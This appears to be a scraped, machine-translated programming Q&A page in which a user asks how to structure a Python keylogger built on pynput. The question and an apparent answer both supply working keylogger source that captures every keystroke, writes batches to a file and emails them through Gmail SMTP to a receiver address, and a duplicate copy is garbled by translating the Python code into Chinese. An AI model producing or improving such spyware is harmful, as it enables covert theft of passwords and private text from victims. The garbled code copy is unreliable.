Python 3.x 带smtp功能的键盘记录器python3

Python 3.x 带smtp功能的键盘记录器python3,python-3.x,variables,global-variables,keylogger,cracking,Python 3.x,Variables,Global Variables,Keylogger,Cracking,1.这是一个带有pynput库的键盘记录器 2.我想将所有事件写入列表或文件 3.当收到特定数量的信件时,将其发送至邮箱 问题在于如何组织代码和event=[]变量这是我最擅长的 from pynput import keyboard import smtplib events = [] def on_press(key): try: ('{0}'.format(key.char)) events.append(key) print(event

1.这是一个带有pynput库的键盘记录器 2.我想将所有事件写入列表或文件 3.当收到特定数量的信件时,将其发送至邮箱 问题在于如何组织代码和event=[]变量这是我最擅长的

from pynput import keyboard
import smtplib


events = []

def on_press(key):
    try: 
      ('{0}'.format(key.char))
      events.append(key)
      print(events)  


except AttributeError :
    print('{0}'.format(key))





def on_handling():
    global events
    if len(events) == 1:
          on_send()
    else:
          on_press()





def on_send():
 server = 'smtp.gmail.com'
 port = 587
 smtp = smtplib.SMTP(server,port)
 smtp.ehlo()
 smtp.starttls()
 smtp.login("iamahacker@gmail.com","ihacktheworld2017")
 smtp.sendmail("iamahacker@gmail.com","hacktheworld18@gmail.com",events)
 smtp.close()
 events = []

with keyboard.Listener(on_press = on_press) as listener:
 listener.join()


on_handling()   
从pynput导入键盘
导入smtplib
导入base64
导入操作系统
事件=[]
从=youruser@gmail.com'
MARKER='KEY'
至=receiver@gmail.com'
def on_按(键):
全球键盘记录器
keylogger='keylogger.txt'
尝试:
#({0}.格式(key.char))
events.append(键)
打印(事件)
除属性错误外:
打印({0}.格式(键))
如果len(事件)==20:
文件=打开(键盘记录器“w”)
对于我来说,在以下事件中:
文件写入(str(i))
file.close()文件
on_发送(键盘记录器)
def on_handling():
全球活动
如果len(事件)==1:
on_send()
其他:
关于(新闻)
发送时的def(文件名):
fo=打开(文件名为“rb”)
filecontent=fo.read()
#encodedcontent=base64.b64encode(文件内容
encodedcontent=filecontent
filename=os.path.basename(文件名)
body=”“”
这是钥匙,检查一下。
"""
#定义主标题。
part1=“”发件人:马特·文森特
发送至:%s
主题:发送附件
MIME版本:1.0
内容类型:多部分/混合;边界=%s
--%
“”“%(到、标记、标记)
#定义消息操作
part2=“”内容类型:文本/普通
内容传输编码:8比特
%
--%
“”“%(正文,标记)
#定义附件部分
part3=“”内容类型:多部分/混合;名称=\%s\”
内容传输编码:base64
内容处置:附件;文件名=%s
%
--%--
“”%(文件名、文件名、编码内容、标记)
消息=第1部分+第2部分+第3部分
服务器='smtp.gmail.com'
端口=587
smtp=smtplib.smtp(服务器、端口)
smtp.ehlo()
smtp.starttls()
smtp.login(来自“密码”)
smtp.sendmail(发件人、收件人、邮件)
smtp.close()
使用键盘.Listener(on_press=on_press)作为侦听器:
listener.join()
关于()处理()
from pynput import keyboard
import smtplib
import base64
import os

events = []
FROM = youruser@gmail.com'
MARKER = 'KEY'
TO = receiver@gmail.com'

def on_press(key):
    global keylogger
    keylogger = 'keylogger.txt'
    try:
      # ('{0}'.format(key.char))
      events.append(key)
      print(events)
    except AttributeError:
        print('{0}'.format(key))
    if len(events) == 20:
        file = open(keylogger, 'w')
        for i in events:
            file.write(str(i))
        file.close()
        on_send(keylogger)




def on_handling():
    global events
    if len(events) == 1:
          on_send()
    else:
          on_press()





def on_send(filename):
    fo = open(filename, "rb")
    filecontent = fo.read()
    # encodedcontent = base64.b64encode(filecontent
    encodedcontent = filecontent
    filename = os.path.basename(filename)

    body = """
    This is the key, check it.
    """

    # Define the main headers.
    part1 = """From: Matt Vincent <matt.vincent@jax.org>
    To: %s
    Subject: Sending Attachment
    MIME-Version: 1.0
    Content-Type: multipart/mixed; boundary=%s
    --%s
    """ % (TO, MARKER, MARKER)

    # Define the message action
    part2 = """Content-Type: text/plain
    Content-Transfer-Encoding:8bit

    %s
    --%s
    """ % (body, MARKER)

    # Define the attachment section
    part3 = """Content-Type: multipart/mixed; name=\"%s\"
    Content-Transfer-Encoding:base64
    Content-Disposition: attachment; filename=%s

    %s
    --%s--
    """ % (filename, filename, encodedcontent, MARKER)

    message = part1 + part2 + part3

    server = 'smtp.gmail.com'
    port = 587
    smtp = smtplib.SMTP(server,port)
    smtp.ehlo()
    smtp.starttls()
    smtp.login(FROM, "password")
    smtp.sendmail(FROM, TO, message)
    smtp.close()

with keyboard.Listener(on_press = on_press) as listener:
 listener.join()


on_handling()